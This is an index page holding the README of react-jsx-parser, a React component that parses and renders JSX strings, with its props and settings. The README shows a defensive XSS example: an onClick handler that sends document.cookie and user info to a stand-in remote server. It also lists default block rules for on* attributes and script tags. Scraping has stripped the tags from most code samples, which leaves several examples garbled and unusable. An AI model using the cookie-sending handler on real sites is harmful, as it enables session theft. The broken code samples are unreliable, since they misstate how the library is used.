Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/TroyAlford/react-jsx-parser

A React component which can parse JSX and output rendered React Components.
https://github.com/TroyAlford/react-jsx-parser

jsx react-components reactjs

Last synced: about 2 months ago
JSON representation

A React component which can parse JSX and output rendered React Components.

Awesome Lists containing this project

README 

        
# react-jsx-parser [![CircleCI][circle-ci-badge]](https://circleci.com/gh/TroyAlford/react-jsx-parser) [![Version][npm-version]][npm-link] [![NPM Downloads][npm-downloads]][npm-link] [![License][npm-license]](https://github.com/TroyAlford/react-jsx-parser/blob/master/LICENSE)



[circle-ci-badge]: https://circleci.com/gh/TroyAlford/react-jsx-parser.svg?style=svg

[npm-version]: https://img.shields.io/npm/v/react-jsx-parser.svg

[npm-downloads]: https://img.shields.io/npm/dt/react-jsx-parser.svg

[npm-license]: https://img.shields.io/npm/l/react-jsx-parser.svg

[npm-link]: https://www.npmjs.com/package/react-jsx-parser



A React component which can parse JSX and output rendered React Components.



## Basic Usage - Injecting JSX as a String

```javascript

import React from 'react'

import JsxParser from 'react-jsx-parser'

import Library from 'some-library-of-components'



class InjectableComponent extends Component {

  static defaultProps = {

    eventHandler: () => {}

  }

  // ... inner workings of InjectableComponent

}



const MyComponent = () => (

   { /* ... do stuff ... */ },

    }}

    components={{ InjectableComponent, Library }}

    jsx={`

      
Header


      

      

      ((data) => 
{data.name}
)

    `}

  />

)

```



Because `InjectableComponent` is passed into the `JsxParser.props.components` prop, it is treated as a known element

type, and created using `React.createElement(...)` when parsed out of the JSX. You can also pass in a whole collection

of components, as shown by the `Library` binding, and then access the individual items with `LibraryName.ComponentName`.



Finally, a note about property bindings. The `JsxParser` can handle several types of binding:

 - implicit `true` bindings, such as `` (equivalent to `truthyProp={true}`)

 - string-value binding, such as `stringProp="foo"`

 - expression-binding, such as `calc={1 + 1}`

 - named-value binding, such as `eventHandler={myEventHandler}` (note that this requires a match in `bindings`)

 - simple [single statement arrow expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions#basic_syntax) `(item) => 
{item.name}
`



The component **_does not_** support inline function declarations, such as:

 - `onClick={function (event) { /* do stuff */ }}`, or

 - `onKeyPress={event => { /* do stuff */}}`

 - Function or arrow functions with bodies `() => { return 
This will not work
 }`



This is to prevent inadvertent XSS attack vectors. Since the primary use of this component is to allow JSX to be stored server-side, and then late-interpreted at the client-side, this restriction prevents a malicious user from stealing info by executing a situation like:

```javascript

 {

    fetch('/some/remote/server', {

      body: JSON.stringify({ cookies: document.cookie, userInfo })

    })

  }}

/>

```



## Advanced Usage - Injecting Dynamic JSX

```javascript

// Import desired set of components

import { ComponentA, ComponentB } from 'somePackage/Components'

import ComponentC from 'somePackage/ComponentC'

import ComponentD from 'somePackage/ComponentD'

...

// Load an HTML or XML fragment from a remote API

const dynamicHtml = loadRemoteData()

...

// Within your component's render method, bind these components and the fragment as props



```



Any `ComponentA`, `ComponentB`, `ComponentC` or `ComponentD` tags in the dynamically loaded XML/HTML fragment will be rendered as React components. Any unrecognized tags will be handled by `React`.



_Note:_ Non-standard tags may throw errors and warnings, but will typically be rendered in a reasonable way.



## Advanced Usage - HTML & Self-Closing Tags

When rendering HTML, standards-adherent editors will render `img`, `hr`, `br`, and other

[void elements](https://www.w3.org/TR/2011/WD-html-markup-20110113/syntax.html#void-elements) with no trailing `/>`. While this is valid HTML, it is _not_ valid JSX. If you wish to opt-in to a more HTML-like parsing style, set the `autoCloseVoidElements` prop to `true`.



### Example:

```jsx

// 
 has no closing tag, which is valid HTML, but not valid JSX



// Renders: null



// 
 is invalid HTML, but valid JSX



// Renders: 
Foo



// This is valid HTML, and the `autoCloseVoidElements` prop allows it to render



// Renders: 
Foo



// This would work in a browser, but will no longer parse with `autoCloseVoidElements`



// Renders: null

```



## PropTypes / Settings

```javascript

JsxParser.defaultProps = {

  allowUnknownElements: true, // by default, allow unrecognized elements

  // if false, unrecognized elements like  are omitted and reported via onError



  autoCloseVoidElements: false, // by default, unclosed void elements will not parse. See examples



  bindings: {}, // by default, do not add any additional bindings



  blacklistedAttrs: [/^on.+/i], // default: removes `on*` attributes (onClick, onChange, etc.)

  // any attribute name which matches any of these RegExps will be omitted entirely



  blacklistedTags:  ['script'], // by default, removes all  tags



  className: '', // space-delimited classes to add to wrapper (ignored if renderInWrapper=false)



  components: {}, // an object map of component tag-names to their definitions - see above

  // components must extend React.Component, React.PureComponent, or be a Function



  componentsOnly: false, // non-component HTML tags are allowed by default, omitted if true



  disableFragments: false, // if true, React <Fragment />s will not be used.

  // Note: This introduces subtle errors with regard to white-space, and is provided only for

  // backward compatibility with React 15.x



  disableKeyGeneration: false, // if true, rendering will not automatically generate `key` props.

  // Note: This may result in the "Child elements should have a unique 'key' prop " React error.



  jsx: '', // the jsx string to be parsed & rendered



  onError: () => {}, // if specified, any rendering errors are reported via this method



  showWarnings: false, // if true showWarnings, rendering errors are output with console.warn



  renderError: undefined, // if specified, this function can be used to render errors as a fallback



  renderInWrapper: true, // if false, the HTML output will have no <div> wrapper



  renderUnrecognized: tagName => null, // unrecognized tags are rendered via this method

}

```



## Older Browser Support



If your application needs to support older browsers, like `IE11`, import from `react-jsx-parser/dist/es5/react-jsx-parser.min.js`,

which transpiles the `acorn-jsx` dependency down to ES5, and also adds additional polyfill support for code used in this package.



**Note**: <u>not</u> recommended for implementations which only support modern browsers, as the ES5 version is roughly 30% larger.